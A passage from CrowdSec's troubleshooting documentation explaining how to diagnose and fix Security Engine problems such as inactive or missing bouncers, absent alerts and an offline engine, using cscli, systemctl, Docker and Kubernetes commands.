SHCOPY ``` cat > /etc/crowdsec/acquis.d/nginx.yaml << EOF filenames: - /var/log/nginx/*.log labels: type: nginx EOF ``` * Check your service(s) configuration and adapt the acquisition configuration to be able to capture logs. ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If you've verified logs are being read and parsed but still see no alerts: * Share your setup details on [Discourse](https://discourse.crowdsec.net/) * Ask on [Discord](https://discord.gg/crowdsec) with `cscli metrics` output --- # Security Engine No Active Remediation Component The **Security Engine No Active Remediation Component** issue appears when a Security Engine has Remediation Components *(bouncers)* registered, but **none of them have sent a heartbeat in the past 24 hours**. Registered but inactive Remediation Components mean your Security Engine's decisions are not being enforced โ€” attackers are detected but **never blocked**. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: All registered Remediation Components have been inactive for 24+ hours * **Criticality**: ๐Ÿ”ฅ Critical * **Impact**: Security Engine decisions are not being enforced โ€” no active blocking is taking place. ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**Configuration file errors**](#configuration-file-errors): The RC's configuration file has incorrect settings, preventing it from starting or connecting. * [**Invalid credentials**](#invalid-credentials): The API key in the RC configuration is wrong, expired, or was regenerated. * [**Security Engine not accessible**](#security-engine-not-accessible): The RC cannot reach the Security Engine's Local API (LAPI). * [**RC service not running**](#rc-service-not-running): The bouncer process or module is stopped or crashed. * [**Other RC-specific issues**](#other-rc-specific-issues): Dependency, permission, or integration-specific problems. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") ### Configuration file errors[โ€‹](#configuration-file-errors "Direct link to Configuration file errors") #### ๐Ÿ”Ž Locate and inspect the RC configuration file[โ€‹](#-locate-and-inspect-the-rc-configuration-file "Direct link to ๐Ÿ”Ž Locate and inspect the RC configuration file") Configuration files are typically found at: TEXTCOPY ``` /etc/crowdsec/bouncers/crowdsec--bouncer.yaml ``` or `.conf` for older bouncers. Check your [specific RC documentation](https://docs.crowdsec.net/u/bouncers/intro.md) for the exact path. Open the file and verify the following fields are present and correctly set: * `api_url`: the address of your Security Engine's LAPI (e.g. `http://127.0.0.1:8080`) * `api_key`: a valid API key generated with `cscli bouncers add` warning Properties may change slightly, check the specific [configuration for your bouncer](http://localhost:3000/u/bouncers/intro) #### ๐Ÿ› ๏ธ Fix the configuration and restart the RC[โ€‹](#๏ธ-fix-the-configuration-and-restart-the-rc "Direct link to ๐Ÿ› ๏ธ Fix the configuration and restart the RC") After editing the configuration file, restart the RC service to apply changes: SHCOPY ``` sudo systemctl restart crowdsec--bouncer ``` Check the RC logs for startup errors: SHCOPY ``` sudo journalctl -u crowdsec--bouncer --since "10 minutes ago" ``` ### Invalid credentials[โ€‹](#invalid-credentials "Direct link to Invalid credentials") #### ๐Ÿ”Ž Verify the API key is valid[โ€‹](#-verify-the-api-key-is-valid "Direct link to ๐Ÿ”Ž Verify the API key is valid") The API key in the RC's configuration must match a key registered on the Security Engine. Check currently registered bouncers and their keys: SHCOPY ``` sudo cscli bouncers list ``` If the key was regenerated or the bouncer was re-added, the old key is no longer valid. #### ๐Ÿ› ๏ธ Generate a new API key and update the RC[โ€‹](#๏ธ-generate-a-new-api-key-and-update-the-rc "Direct link to ๐Ÿ› ๏ธ Generate a new API key and update the RC") 1. Remove the stale bouncer registration (if needed): SHCOPY ``` sudo cscli bouncers delete ``` 2. Generate a new key: SHCOPY ``` sudo cscli bouncers add ``` 3. Copy the generated API key into the RC's configuration file (`api_key` field) 4. Restart the RC service ### Security Engine not accessible[โ€‹](#security-engine-not-accessible "Direct link to Security Engine not accessible") The RC must be able to reach the Security Engine's LAPI. This can fail due to network changes, firewall rules, or a LAPI bind address that only listens on localhost. #### ๐Ÿ”Ž Test connectivity from the RC host[โ€‹](#-test-connectivity-from-the-rc-host "Direct link to ๐Ÿ”Ž Test connectivity from the RC host") SHCOPY ``` # Replace with your actual LAPI address and port curl -s http://127.0.0.1:8080/health ``` A healthy LAPI returns `{"status":"up"}`. Anything else indicates a connectivity or LAPI issue. #### ๐Ÿ”Ž Check the LAPI listen address[โ€‹](#-check-the-lapi-listen-address "Direct link to ๐Ÿ”Ž Check the LAPI listen address") SHCOPY ``` sudo grep -i "listen_uri" /etc/crowdsec/config.yaml ``` If `listen_uri` is set to `127.0.0.1:8080` and the RC runs on a different host, it won't be reachable. #### ๐Ÿ› ๏ธ Fix LAPI accessibility[โ€‹](#๏ธ-fix-lapi-accessibility "Direct link to ๐Ÿ› ๏ธ Fix LAPI accessibility") * If the RC is on the **same host**: verify `api_url` in the RC config uses `http://127.0.0.1:8080` * If the RC is on a **different host**: update `listen_uri` in `/etc/crowdsec/config.yaml` to bind to the correct interface, ensure firewall rules allow the connection, and update `api_url` in the RC config accordingly See [Network Management documentation](https://docs.crowdsec.net/docs/configuration/network_management) for required endpoints. ### RC service not running[โ€‹](#rc-service-not-running "Direct link to RC service not running") #### ๐Ÿ”Ž Check the RC service status[โ€‹](#-check-the-rc-service-status "Direct link to ๐Ÿ”Ž Check the RC service status") SHCOPY ``` sudo systemctl status crowdsec--bouncer ``` Look for error messages in the output. If the service is `failed` or `inactive`, check the logs: SHCOPY ``` sudo journalctl -u crowdsec--bouncer -n 50 ``` #### ๐Ÿ› ๏ธ Start the RC service and address errors[โ€‹](#๏ธ-start-the-rc-service-and-address-errors "Direct link to ๐Ÿ› ๏ธ Start the RC service and address errors") SHCOPY ``` sudo systemctl start crowdsec--bouncer sudo systemctl enable crowdsec--bouncer ``` If the service fails to start, the logs will typically indicate the root cause (missing config, invalid key, unreachable LAPI, etc.). ### Other RC-specific issues[โ€‹](#other-rc-specific-issues "Direct link to Other RC-specific issues") Beyond the common causes above, each RC type has its own specific failure modes. Refer to the relevant documentation for deeper troubleshooting: * **Missing system dependencies** (e.g. Lua packages for the Nginx bouncer): see [Nginx Bouncer](https://docs.crowdsec.net/u/bouncers/nginx.md) * **Web server module not loaded** (Nginx, Apache, HAProxy): see the respective RC documentation pages * **Elevated privilege requirements** (Firewall bouncer needing root to manage nftables/iptables): see [Firewall Bouncer](https://docs.crowdsec.net/u/bouncers/firewall.md) * **External service credentials** (Cloudflare API tokens, AWS IAM permissions): see [Cloudflare Workers Bouncer](https://docs.crowdsec.net/u/bouncers/cloudflare-workers) or [AWS WAF Bouncer](https://docs.crowdsec.net/u/bouncers/aws-waf) * **PHP cache backend unavailable** (Redis or Memcached not running): see [PHP Bouncer](https://docs.crowdsec.net/u/bouncers/php.md) * **TLS/mTLS certificate issues** (invalid or expired client certificates): see your RC's documentation for TLS configuration * **General RC troubleshooting**: see [Remediation Components Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/remediation_components.md) ## Verify Resolution[โ€‹](#verify-resolution "Direct link to Verify Resolution") After fixing the issue: 1. **Check the RC is running and connected**: SHCOPY ``` sudo cscli bouncers list ``` The bouncer's **Last Pull** timestamp should update within a few minutes. 2. **Check in the Console** โ€” Navigate to your Security Engine. The active RC alert should clear automatically once a heartbeat is received. 3. **Verify enforcement is working**: SHCOPY ``` # Add a short test ban sudo cscli decisions add --ip 1.2.3.4 --duration 1m # Confirm the bouncer picked it up sudo cscli metrics show bouncers # Clean up sudo cscli decisions delete --ip 1.2.3.4 ``` ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Security Engine No Remediation Component](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_rc.md) โ€” If no RC is registered at all * [Security Engine Offline](https://docs.crowdsec.net/u/troubleshooting/issue_se_offline.md) โ€” If the Security Engine itself is not reporting * [Remediation Component Integration Offline](https://docs.crowdsec.net/u/troubleshooting/issue_integration_rc_offline.md) โ€” For BLaaS-connected RC integrations ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If your Remediation Component is still inactive after following these steps: * Check [Discourse](https://discourse.crowdsec.net/) for your specific RC type * Ask on [Discord](https://discord.gg/crowdsec) with your RC logs and `cscli bouncers list` output * Consult your [RC's documentation page](https://docs.crowdsec.net/u/bouncers/intro.md) --- # Security Engine No Alerts The **Engine No Alerts** issue appears when your Security Engine has been running but hasn't forwarded any alerts to the Central API in the last **48 hours**. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: No alerts generated for 48 hours * **Criticality**: โš ๏ธ High * **Impact**: Your detection system may not be working as expected ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**Appropriate collections not installed**](#appropriate-collections-not-installed): Make sure you have detection scenarios and/or AppSec rules that cover your services * [**Events massively whitelisted**](#events-massively-whitelisted): Due to misconfiguration, proxying issues, or faulty custom whitelisting * [**Scenarios in simulation mode**](#scenarios-in-simulation-mode): Detection scenarios are installed but set to simulation mode, preventing actual alerts. * [**Legitimate low-activity environment**](#legitimate-low-activity-environment): Your proactive defenses might be good enough that you don't detect additional malicious behaviors (CrowdSec blocklists or other protections may already deflect all malicious activity) #### **Other Issues**[โ€‹](#other-issues "Direct link to other-issues") * ๐Ÿ”— **[No logs being read](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_read.md)**: The acquisition configuration may be missing, disabled, or pointing to empty log sources. * ๐Ÿ”— **[No logs being parsed](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_parsed.md)**: Logs are being read but parsers can't process them due to format mismatches or missing collections. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") If it is not due to [other issues](#other-issues), use the diagnosis and resolutions below. ### Appropriate collections not installed[โ€‹](#appropriate-collections-not-installed "Direct link to Appropriate collections not installed") #### ๐Ÿ”Ž Check installed collections match your services[โ€‹](#-check-installed-collections-match-your-services "Direct link to ๐Ÿ”Ž Check installed collections match your services") Verify you have collections matching your protected services: SHCOPY ``` sudo cscli collections list ``` Run this command for Docker or Kubernetes SHCOPY ``` docker exec crowdsec cscli collections list ``` SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli collections list ``` Compare your installed collections against your actual services (nginx, apache, ssh, etc.). Missing collections means no detection rules for those services. You can try to run a test on your logs to spot issues. See the [cscli explain documentation](https://docs.crowdsec.net/cscli/cscli_explain) #### ๐Ÿ› ๏ธ Install required collections for your services[โ€‹](#๏ธ-install-required-collections-for-your-services "Direct link to ๐Ÿ› ๏ธ Install required collections for your services") Visit the [CrowdSec Hub](https://hub.crowdsec.net/) to find collections for your stack by browsing or searching. A collection bundles parsers and scenarios for a given service. For example, the NGINX collection includes NGINX parsers and scenarios for common HTTP attacks. Collections are packaged for various type of services: * **Web servers**: `crowdsecurity/nginx`, `crowdsecurity/apache2`, `crowdsecurity/caddy` * **SSH**: `crowdsecurity/sshd` * **Linux base**: `crowdsecurity/linux` * **AppSec/WAF**: `crowdsecurity/appsec-*` collections for application-level protection Install collections using: SHCOPY ``` sudo cscli collections install crowdsecurity/nginx ``` SHCOPY ``` sudo systemctl reload crowdsec ``` Run this command for Docker or Kubernetes **Docker** SHCOPY ``` docker exec crowdsec cscli collections install crowdsecurity/nginx ``` SHCOPY ``` docker restart crowdsec ``` **Kubernetes** SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli collections install crowdsecurity/nginx ``` SHCOPY ``` kubectl rollout restart deployment/crowdsec -n crowdsec ``` ### Events massively whitelisted[โ€‹](#events-massively-whitelisted "Direct link to Events massively whitelisted") Misconfigured whitelists can cause alerts to be ignored. #### ๐Ÿ”Ž Check whitelisting metrics[โ€‹](#-check-whitelisting-metrics "Direct link to ๐Ÿ”Ž Check whitelisting metrics") Check whether many (or all) lines are being whitelisted. SHCOPY ``` sudo cscli metrics show acquisition ``` Run this command for Docker or Kubernetes **Docker** SHCOPY ``` docker exec crowdsec cscli metrics show scenarios ``` **Kubernetes** SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli metrics show scenarios ``` **Look at the Lines whitelisted column** TEXTCOPY ``` โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Acquisition Metrics โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ Source โ”‚ Lines read โ”‚ Lines parsed โ”‚ Lines unparsed โ”‚ Lines poured to bucket โ”‚ Lines whitelisted โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ file:... โ”‚ 743 โ”‚ 635 โ”‚ 108 โ”‚ - โ”‚ 185 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` #### ๐Ÿ› ๏ธ Make sure the IP in your logs are public IPs[โ€‹](#๏ธ-make-sure-the-ip-in-your-logs-are-public-ips "Direct link to ๐Ÿ› ๏ธ Make sure the IP in your logs are public IPs") Due to misconfiguration or log source choice, source IPs can be private/internal addresses instead of **X-Forwarded-For** client IPs. Look at your log files and make sure any proxy in front of your service provides X-Forwarded-For source IPs. #### ๐Ÿ› ๏ธ Review and adjust your custom whitelist configuration[โ€‹](#๏ธ-review-and-adjust-your-custom-whitelist-configuration "Direct link to ๐Ÿ› ๏ธ Review and adjust your custom whitelist configuration") If you create custom whitelist configuration via `s02-enrich`, make sure it does not discard legitimate alerts.
Check our [whitelisting documentation](https://docs.crowdsec.net/u/getting_started/post_installation/whitelists.md). ### Scenarios in simulation mode[โ€‹](#scenarios-in-simulation-mode "Direct link to Scenarios in simulation mode") #### ๐Ÿ”Ž Check if scenarios are in simulation mode[โ€‹](#-check-if-scenarios-are-in-simulation-mode "Direct link to ๐Ÿ”Ž Check if scenarios are in simulation mode") Verify whether your scenarios are set to simulation mode: SHCOPY ``` sudo cscli simulation status ``` Run this command for Docker or Kubernetes **Docker** SHCOPY ``` docker exec crowdsec cscli simulation status ``` **Kubernetes** SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli simulation status ``` If scenarios are listed, they are in simulation mode and are not sent to CrowdSec Console (they should still appear in `cscli alerts list`). #### ๐Ÿ› ๏ธ Disable simulation mode to generate alerts[โ€‹](#๏ธ-disable-simulation-mode-to-generate-alerts "Direct link to ๐Ÿ› ๏ธ Disable simulation mode to generate alerts") Disable simulation mode to allow alerts to be generated: SHCOPY ``` sudo cscli simulation disable --all sudo systemctl reload crowdsec ``` Run this command for Docker or Kubernetes **Docker** SHCOPY ``` docker exec crowdsec cscli simulation disable --all ``` SHCOPY ``` docker restart crowdsec ``` **Kubernetes** SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli simulation disable --all ``` SHCOPY ``` kubectl rollout restart deployment/crowdsec -n crowdsec ``` You can also disable simulation for specific scenarios only: SHCOPY ``` sudo cscli simulation disable crowdsecurity/ssh-bf ``` SHCOPY ``` sudo systemctl reload crowdsec ``` ### Legitimate low-activity environment[โ€‹](#legitimate-low-activity-environment "Direct link to Legitimate low-activity environment") If you have protection measures in front of your services, they may already block unwanted traffic.
Given background internet noise, publicly exposed services usually still receive reconnaissance traffic, but CrowdSec blocklists may already block most malicious traffic.
Letโ€™s check. #### ๐Ÿ”Ž Check traffic volume being processed[โ€‹](#-check-traffic-volume-being-processed "Direct link to ๐Ÿ”Ž Check traffic volume being processed") Check how much traffic your service is processing: SHCOPY ``` sudo cscli metrics show acquisition parsers ``` Run this command for Docker or Kubernetes **Docker** SHCOPY ``` docker exec crowdsec cscli metrics show acquisition parsers ``` **Kubernetes** SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli metrics show acquisition parsers ``` Look at "Lines parsed" - if this number is very low (dozens or hundreds per day), you may simply have insufficient traffic volume for malicious activity to appear. #### ๐Ÿ”Ž Check if blocklists are blocking threats upstream[โ€‹](#-check-if-blocklists-are-blocking-threats-upstream "Direct link to ๐Ÿ”Ž Check if blocklists are blocking threats upstream") Check whether proactive defenses are blocking threats upstream. You can do this with `cscli` or [Console remediation metrics](https://docs.crowdsec.net/u/console/remediation_metrics.md) if you have a compatible bouncer. SHCOPY ``` sudo cscli decisions list ``` SHCOPY ``` sudo cscli metrics show bouncers ``` Run this command for Docker or Kubernetes **Docker** SHCOPY ``` docker exec crowdsec cscli decisions list ``` SHCOPY ``` docker exec crowdsec cscli metrics show bouncers ``` **Kubernetes** SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli decisions list ``` SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli metrics show bouncers ``` High numbers of active decisions or bouncer blocks may indicate proactive defenses are already blocking malicious actors. Still verify that no other issue exists. ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Log Processor No Logs Read](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_read.md) - If acquisition is not working * [Log Processor No Logs Parsed](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_parsed.md) - If parsing is failing * [Security Engine Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/security_engine.md) - General Security Engine issues ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If you've verified logs are being read and parsed correctly but still see no alerts: * Check [Discourse](https://discourse.crowdsec.net/) for similar cases * Ask on [Discord](https://discord.gg/crowdsec) with your `cscli metrics` output --- # Security Engine No Remediation Component The **Security Engine No Remediation Component** issue appears when a Security Engine has no Remediation Component *(bouncer)* registered against it. A Security Engine that detects threats but has no Remediation Component attached cannot act on its decisions โ€” attackers are detected but **never blocked**. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: Security Engine has no Remediation Component registered * **Criticality**: ๐Ÿ’ก Recommended * **Impact**: Threats are detected but no remediation action is taken โ€” your infrastructure is not actively protected. ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**No Remediation Component installed**](#no-remediation-component-installed): No bouncer has been installed and registered to this Security Engine. * [**Intentional โ€” this Security Engine is detection-only**](#intentional--this-security-engine-is-detection-only): The absence of a local RC is deliberate and this alert can be safely ignored. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") ### No Remediation Component installed[โ€‹](#no-remediation-component-installed "Direct link to No Remediation Component installed") #### ๐Ÿ”Ž Check registered bouncers[โ€‹](#-check-registered-bouncers "Direct link to ๐Ÿ”Ž Check registered bouncers") Verify which Remediation Components are currently registered with this Security Engine: * You can check directly in the console's [Security Engine details page](https://docs.crowdsec.net/u/console/security_engines/details_page.md#remediation-components) * Or via the following command line: SHCOPY ``` sudo cscli bouncers list ``` Run this command for Docker or Kubernetes **Docker** SHCOPY ``` docker exec crowdsec cscli bouncers list ``` **Kubernetes** SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli bouncers list ``` If the list is empty, it confirms that no Remediation Component is registered. #### ๐Ÿ› ๏ธ Install and/or register a Remediation Component[โ€‹](#๏ธ-install-andor-register-a-remediation-component "Direct link to ๐Ÿ› ๏ธ Install and/or register a Remediation Component") Choose and install a Remediation Component suited to your infrastructure: * **[cs-firewall-bouncer](https://docs.crowdsec.net/u/bouncers/firewall)** โ€” blocks IPs at the OS firewall level (nftables/iptables) * **[cs-nginx-bouncer](https://docs.crowdsec.net/u/bouncers/nginx)** โ€” blocks at the NGINX web server level * **[cs-traefik-bouncer](https://docs.crowdsec.net/u/bouncers/traefik)** โ€” blocks at the Traefik reverse proxy level * More options available on the [Remediation Components page](https://docs.crowdsec.net/u/bouncers/intro.md) Typical Remediation Component **auto-registers** during installation, verify registration: SHCOPY ``` sudo cscli bouncers list ``` If it doesn't appear after installation follow the [**bouncer registration guide**](https://docs.crowdsec.net/u/bouncers/intro.md) Don't forget to update the credentials in the bouncer config and restart it ### Intentional โ€” this Security Engine is detection-only[โ€‹](#intentional--this-security-engine-is-detection-only "Direct link to Intentional โ€” this Security Engine is detection-only") If you knowingly have no Remediation Component on this Security Engine, this alert can be ignored. A few common intentional setups: * **Remediation handled by another Security Engine**: Your bouncers are registered against a different LAPI in your infrastructure. Decisions from this SE are not automatically enforced there. * **Perimeter protection via a Blocklist Integration**: You rely on a BLaaS integration (e.g. a firewall or CDN at the edge) for enforcement and only want this SE for detection and signal sharing. This is a valid architecture. * **Other intentional reason** *(custom remediation pipeline, testing/staging environment, detection-only node, etc.)*: You know what you're doing โ€” this alert does not indicate a problem. tip Did you know: [Remediation Sync](https://docs.crowdsec.net/u/console/remediation_sync.md) lets you propagate decisions across all your Security Engines enrolled in the Console and to Blocklist Integrations too. It can be useful to remediate on the edge of your perimeter or make sure your SE protect each other. ## Verify Resolution[โ€‹](#verify-resolution "Direct link to Verify Resolution") After registering a Remediation Component: 1. **Check registration**: SHCOPY ``` sudo cscli bouncers list ``` The bouncer should appear with a recent **Last Pull** timestamp. You'll also see it appear in the console's [Security Engine details page](https://docs.crowdsec.net/u/console/security_engines/details_page.md#remediation-components) ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Security Engine Offline](https://docs.crowdsec.net/u/troubleshooting/issue_se_offline.md) โ€” If the Security Engine itself is not reporting * [Security Engine No Alerts](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_alerts.md) โ€” If the Security Engine is not generating decisions to enforce ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If you need help choosing or installing a Remediation Component: * Browse the [Remediation Components catalog](https://docs.crowdsec.net/u/bouncers/intro.md) * Ask on [Discord](https://discord.gg/crowdsec) with your infrastructure details * Check [Discourse](https://discourse.crowdsec.net/) for setup examples --- # Security Engine Offline The **Security Engine Offline** issue indicates that an enrolled Security Engine has not reported to **CrowdSec Central API** for more than **48 hours**.
This usually means the core `crowdsec` service has stopped working or communicating with our infrastructure. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: No contact with Console for 48 hours * **Criticality**: ๐Ÿ”ฅ Critical * **Impact**: Complete loss of visibility and protection coordination ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**Host or service down**](#host-or-service-down): The CrowdSec service has stopped or the host itself is unreachable. * [**Console connectivity issues**](#console-connectivity-issues): Network, firewall, or proxy blocking HTTPS calls to Console endpoints, or TLS validation failures. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") ### Host or service down[โ€‹](#host-or-service-down "Direct link to Host or service down") #### ๐Ÿ”Ž Check if CrowdSec service is running[โ€‹](#-check-if-crowdsec-service-is-running "Direct link to ๐Ÿ”Ž Check if CrowdSec service is running") Check that the `crowdsec` service is running: SHCOPY ``` sudo systemctl status crowdsec ``` SHCOPY ``` sudo journalctl -u crowdsec -n 50 ``` Run this command for Docker or Kubernetes SHCOPY ``` docker ps --filter name=crowdsec kubectl get pods -n crowdsec ``` If the host itself is unreachable (hypervisor, VM, or cloud instance down), the Console cannot receive a heartbeat and marks the engine offline. #### ๐Ÿ› ๏ธ Restart the Security Engine service[โ€‹](#๏ธ-restart-the-security-engine-service "Direct link to ๐Ÿ› ๏ธ Restart the Security Engine service") Restart the Security Engine service: SHCOPY ``` sudo systemctl restart crowdsec ``` For Docker or Kubernetes **Docker:** SHCOPY ``` docker restart crowdsec ``` **Kubernetes:** SHCOPY ``` kubectl rollout restart deployment/crowdsec -n crowdsec ``` After restarting, re-run `sudo cscli console status` to ensure the heartbeat is restored. ### Console connectivity issues[โ€‹](#console-connectivity-issues "Direct link to Console connectivity issues") #### ๐Ÿ”Ž Check console status and logs for connectivity errors[โ€‹](#-check-console-status-and-logs-for-connectivity-errors "Direct link to ๐Ÿ”Ž Check console status and logs for connectivity errors") `sudo cscli console status` may show errors such as `permission denied`, `unable to reach console`, or TLS failures. Inspect `/var/log/crowdsec/crowdsec.log` (or container stdout) for details. Confirm that your Security Engine can communicate with CrowdSec Central API (CAPI): SHCOPY ``` sudo cscli capi status ``` Also check that the Security Engine Local API is running and healthy: SHCOPY ``` sudo cscli machines list ``` In a standalone install, you should see one machine. Check the `Last Update` time. Ensure outbound access to the CrowdSec Console endpoints listed in [Network management](https://docs.crowdsec.net/docs/configuration/network_management). Firewalls or proxy changes often block the HTTPS calls required for heartbeats. Verify system time is synced (via NTP). Large clock drifts can invalidate console tokens. #### ๐Ÿ› ๏ธ Restore connectivity to the Console[โ€‹](#๏ธ-restore-connectivity-to-the-console "Direct link to ๐Ÿ› ๏ธ Restore connectivity to the Console") Restore connectivity to the Console: 1. Check that you can access crowdsec services and APIs listed in [network management](https://doc.crowdsec.net/docs/next/configuration/network_management/) 2. If a proxy is required, configure it in `/etc/crowdsec/config.yaml` under `common.http_proxies` and reload the service. 3. Renew TLS trust stores if the host cannot validate the Console certificate chain. Test connectivity: SHCOPY ``` curl -I https://api.crowdsec.net/ ``` For CAPI connectivity issues you can follow the [posts-install health check step for connectivity](https://docs.crowdsec.net/u/getting_started/health_check.md#-crowdsec-connectivity-checks). In the rare case you saw **zero machines** in your machines list, try: SHCOPY ``` sudo cscli machine add --auto --force ``` ## Verify Resolution[โ€‹](#verify-resolution "Direct link to Verify Resolution") After making changes: Restart or reload CrowdSec: `sudo systemctl restart crowdsec` 1. Check engine status: SHCOPY ``` sudo cscli console status ``` 2. Verify in the Console the security engine "last activity" date Once the engine resumes contact, the Console clears the **Security Engine Offline** alert during the next poll. ๐Ÿ’ก Consider enabling the **Security Engine Offline** [notification](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) in your preferred integration so future outages are caught quickly. ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Log Processor Offline](https://docs.crowdsec.net/u/troubleshooting/issue_lp_offline.md) - If specific agents are offline * [Security Engine Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/security_engine.md) - General Security Engine issues ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If you still cannot restore Security Engine heartbeat to CrowdSec Console: * Check [Discourse](https://discourse.crowdsec.net/) for similar cases * Ask on [Discord](https://discord.gg/crowdsec) with your `sudo cscli support dump` output --- # Security Engine Too Many Alerts The **Engine Too Many Alerts** issue appears when your Security Engine generates an abnormally high volume of alerts. This usually indicates a misconfigured scenario or an ongoing large-scale attack. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: More than 250,000 alerts in 6 hours * **Criticality**: โš ๏ธ High * **Impact**: May indicate misconfiguration, performance issues, or a real large-scale attack ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**Misconfigured or overly sensitive scenario**](#misconfigured-or-overly-sensitive-scenario): A scenario with 